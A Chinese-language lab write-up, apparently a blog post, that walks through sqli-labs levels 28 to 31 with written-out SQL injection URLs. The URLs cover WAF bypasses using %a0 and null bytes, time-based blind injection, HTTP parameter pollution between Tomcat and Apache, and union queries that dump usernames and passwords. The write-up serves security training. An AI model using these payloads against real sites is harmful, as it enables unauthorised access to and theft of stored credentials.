• less 28-31


    less28

    id=1  显示正常

    id=1’  显示不正常 说明存在注入漏洞

    接下来得坑 请注意

    ?id=1‘ || ’1‘=‘1  这个时候数据回显正常

    ?id=1‘  %a0   union %a0   select %a0  1,2,3      || ’1‘=‘1  这个正常的操作但是显示确实错误的?

    我们将   ||进行替换一下

    ?id=1'%26%26'1'='2        没有回显信息

    ?id=1%26%26'1'='1  有回显信息

      返回为空 就会报错

    但其实他得闭合方式是  id=1’)

    http://192.168.50.100/sqli/Less-28/?id=1') %a0 order  %a0  by %a0  3 ;%00  判断有三列

    http://192.168.50.100/sqli/Less-28/?id=11111‘)  %a0 union   %a0  select  %a0  1,2,3 ;%00 此时可以得到回显位。

     

    http://192.168.50.100/sqli/Less-28/?id=11111‘)  %a0 union   %a0  select  %a0  1,2,

              group_concat(schema_name) %a0  from  %a0   information_schema.schemata ;%00

    也可以不使用 ;%00 闭合 使用 or语句闭合

    因为没有报错信息 所以我们不可以使用报错注入

    但是我们可以使用时间盲注

    1. http://192.168.50.100/sqli/Less-28/?id=1')  %a0   %26%26   if( length(database())>1, 1, sleep(5)    ) ;%00

    或者  http://192.168.50.100/sqli/Less-28/?id=1')   %a0   %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26  ('1')=(‘1    

    闭合方式得不同
    这两种都是可以的

    less28a    和28 基本一致   只是代码过滤得问题

    使用28得语句就可以

    less29

     这个才是29关得文件

    可以从介绍上看出,第29关被称为世界上最好的WAF,网上许多讲解的办法就是和第一关差不多,其实是不对的。

    sqli-labs文件夹下面还有tomcat文件,这才是真正的less,里面的jspstudy需要搭建环境

    jspstudy:https://www.xp.cn/download.html

    选择jspstudy

    修改jspstudy网络端口号  否则会与phpstudy端口冲突

    修改完要新增并且保存

    29关得地址要匹配 要不然  打不开相应得页面

    打开相应得网址

    补充知识   服务器得俩层架构

    https://www.cnblogs.com/lcamry/p/5762961.html

     indexx.php?id=1&id=2,  第一个参数是针对服务端得参数  第二个参数是针对apache服务器得参数

     

    http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,

                   php/apache使用$_GET["id"]获取的是第二个值,

           那么第一个id纯数字,第二个id的值注入就可以了

    http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1' order by 3--+

    http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1&id=3' --+

     http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1&id=0'  union select 1,2,3  --+   判断回显位置

    http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1&id=0'  union

          select 1,2,(concat_ws(0x7e,username,password)) from security.users limit 3,1  --+

    less30

    闭合方式变成了”

    http://192.168.50.100:8080/sqli-labs/Less-30/index.jsp?id=1&id=0" union select 1,2,(concat_ws(0x7e,username,password)) from security.users limit 3,1  --+

    less31、

    闭合方式变成了”)

    http://192.168.50.100:8080/sqli-labs/Less-31/index.jsp?id=1&id=0’) union select 1,2,(concat_ws(0x7e,username,password)) from security.users limit 3,1  --+

     

     

  • 相关阅读:
    教程-Delphi中比较两个对象是否一致及地址是否相同
    Android问题-“signaturs do not match the previously installed version”
    Android实例-红外线操作(XE10.2+小米5)
    JAVA-JAVA WEB开发工具下载与安装
    问题-DelphiXE10.2怎么安装文本转语音(TTS)语音转文本(SR)控件(XE10.2+WIN764)
    Android实例-ImageList与Image的应用
    多国语言解决方案gnu.gettext + poedit
    Unity-Animator在Editor状态下的单个/批量预览工具
    Lambda编写斐波那契数列
    Unity-Animator深入系列---API详解
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12247357.html
Copyright © 2020-2023  润新知